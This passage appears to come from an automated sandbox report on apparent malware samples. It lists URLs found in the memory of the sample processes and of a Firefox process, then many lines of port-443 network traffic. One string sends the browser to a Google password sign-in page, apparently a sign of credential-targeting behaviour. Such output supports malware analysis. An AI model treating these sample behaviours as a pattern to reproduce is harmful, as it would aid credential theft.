Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000015.00000003.2082774032.0000016C13969000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C1397C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2230082437.0000016C13976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.co
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: firefox.exe, 00000015.00000003.2082774032.0000016C139B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2200433230.0000016C134B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2232664376.0000016C134B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069864093.0000016C134B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000015.00000003.2200433230.0000016C134B2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2066570515.0000016C13754000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2149764502.0000016C0C8F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000015.00000003.2230082437.0000016C139AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2085311564.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2255391397.0000016C139AE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000015.00000003.2206170906.0000016C0CEF4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000015.00000003.2078048238.0000016C0C464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2075754399.0000016C0C46A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/anything/?
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: firefox.exe, 00000015.00000003.2207277685.0000016C0CDFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/about/legal/terms/subscription-services/
Source: file.exe, 00000000.00000003.1804587772.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2247493220.0000016C0DBD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2086061408.0000016C0C5E5000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2552266562.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2697828819.000000000549E000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2736878196.000000000546C000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000015.00000003.2207277685.0000016C0CDFA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/subscription-services/
Source: 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000015.00000003.2205325806.0000016C0DB0E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F54A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F54B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2251829883.0000016C7F55D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000015.00000003.2235596864.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2257360746.0000016C136D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C136B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.1804587772.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2247493220.0000016C0DBD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2086061408.0000016C0C5E5000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2552266562.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2697828819.000000000549E000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2736878196.000000000546C000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2795353892.000000000588C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000015.00000003.2201912766.0000016C0EFE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2241884499.0000016C0EFEF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000015.00000003.2250235920.0000016C7F6E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000015.00000003.2221556352.0000016C0C863000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2261053889.0000016C0B732000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2219940920.0000016C0B262000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.tiktok.com/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 00000015.00000003.2083904396.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2231622178.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069170027.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2238564599.0000016C138DE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.wykop.pl/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000015.00000003.2201912766.0000016C0EFE3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2241884499.0000016C0EFEF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000015.00000003.2254541447.0000016C15A5A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000015.00000003.2205679702.0000016C0D866000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000013.00000002.1994435756.000001C8E14B9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.2002154734.00000284B207B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000002.2027402501.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000003.2023118181.00000000013C0000.00000004.00000020.00020000.00000000.sdmp, 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000003.2023376039.00000000013C2000.00000004.00000020.00020000.00000000.sdmp, 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000003.2023861975.00000000013C2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdEE
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49920 -> 443
